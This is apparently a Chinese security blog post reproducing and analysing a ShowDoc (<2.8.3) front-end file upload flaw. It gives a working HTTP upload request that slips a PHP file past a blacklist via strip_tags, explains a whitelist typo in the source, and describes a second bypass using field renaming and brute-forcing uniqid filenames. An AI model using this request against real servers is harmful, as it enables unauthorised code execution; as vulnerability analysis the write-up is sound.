0x00 前言
本文为开普勒版upload-labs靶场的第22关,使用的php版本为7.3。
关于小黑刷upload-labs靶场的全系列:
6、《老洞复现 | FCKeditor V2.4.3 php版文件上传》
0x01 poc sir,exp sir
POST /Pass-22/index.php?s=/home/page/uploadimg HTTP/1.1
Host: admin360bug.me
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4tG5TBd13UUnM7Y6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 222
------WebKitFormBoundary4tG5TBd13UUnM7Y6
Content-Disposition: form-data; name="editormd-image-file"; filename="info.<>php"
Content-Type: image/jpeg
<?php
phpinfo();
?>
------WebKitFormBoundary4tG5TBd13UUnM7Y6--
直接对着接口index.php?s=/home/page/uploadimg构造上传请求就行了,上传表单的name属性为editormd-image-file,文件名要在php前面加一对<>符号。
文件上传后的路径会在响应包里回显出来,很贴心。
0x02 源码分析
ShowDoc使用的是thinkphp框架,poc中的s参数就是路由。根据?s=/home/page/uploadimg,可以去根目录下的/server/Application/中找到源码所在的位置。
定位到uploadImg函数,其中关键的几句如下:
1、匹配.php过滤文件。
if (strstr(strtolower($_FILES['editormd-image-file']['name']), ".php") ) {
return false;
}
2、设置后缀白名单
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
3、调用thinkphp自带的Upload类中的upload方法
$upload = new ThinkUpload();// 实例化上传类
...
$info = $upload->upload() ;
可以看到源码并非没有做过滤,反而黑白名单都给安排的明明白白的。那这个漏洞到底是怎么产生的呢,为什么上传info.<>php即可使过滤形同虚设。我们跟进thinkphp自带的upload方法去看看。
路径:serverThinkPHPLibraryThinkUploadUpload.class.php
$file['name'] = strip_tags($file['name']);
148行,该方法中使用了strip_tags函数对文件名做了处理,该函数的作用是去除字符串中的html标签,即<>及之间的部分。
而产生漏洞的uploadImg函数中是先进行黑名单检测,再调用thinkphp自带的upload函数,所以我们上传info.<>php,即可在绕过匹配.php的黑名单同时,达到实际上传了php文件的效果(strip_tags函数处理后变成info.php)。
但是后面的白名单过滤没有生效是怎么回事呢?
if (!$this->check($file)){
白名单后缀的检测是在第159行,调用了Upload类里定义的check方法。
if (!$this->checkExt($file['ext'])) {
299行,check方法里又调用了checkExt方法。
接下来就不用看了,在这里我们可以看到,参与检测的是file变量的ext属性。但在uploadImg函数中,白名单却赋值给了allowExts属性,作者的一处手误,导致了实际的白名单为空,自然就被绕过了。
0x03 另一种方式
这个漏洞还有另外一种利用方式,黑名单只过滤了$_FILES['editormd-image-file']['name'],那我们上传文件的时候改个name值(比如上图,在后面加个数字2)即可绕过黑名单直接上传php文件。
$url = get_domain().__ROOT__.substr($upload->rootPath,1).$info['editormd-image-file']['savepath'].$info['editormd-image-file']['savename'] ;
但这也有个问题,在uploadImg函数中定义的回显信息其中是写死了$info['editormd-image-file']['savename']的。我们改变上传文件的name值之后就收不到回显信息了,不知道文件名的话,即使文件上传成功也无法访问到。
但我们观察代码可发现,文件名使用uniqid函数生成,该函数是基于当前时间生成一个随机的ID,时间相近的话ID也会相近。
这时便可以爆破一下文件名,先使用有回显的editormd-image-file,上传一个正常的txt文件,然后再使用editormd-image-file2上传php文件,根据首次上传的txt的回显可确定php文件的爆破范围,一般手速够快的话爆破后5位即可。上图演示的手速比较慢,需要爆破6位。
如果想明确一点的话,可以在上传php之后再上传一次txt,两个txt之间就一定是php文件的命名范围。
参考文献说thinkphp还支持多文件上传,可更近一步缩小时间差,但我这个环境测试失败了,本文就略过吧。
0x04 后记
参考文献中对这个漏洞进行了很详尽的解析,还从开发者的角度分析了漏洞产生的原因。是一篇很优秀的文章,推荐阅读。
0x05 参考文献
https://mp.weixin.qq.com/s/ahYaKGyJqPJtuUEukvR4aA
喵,点个赞再走吧~
原文始发于微信公众号(小黑的安全笔记):老洞复现+分析 | ShowDoc<2.8.3 前台文件上传
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论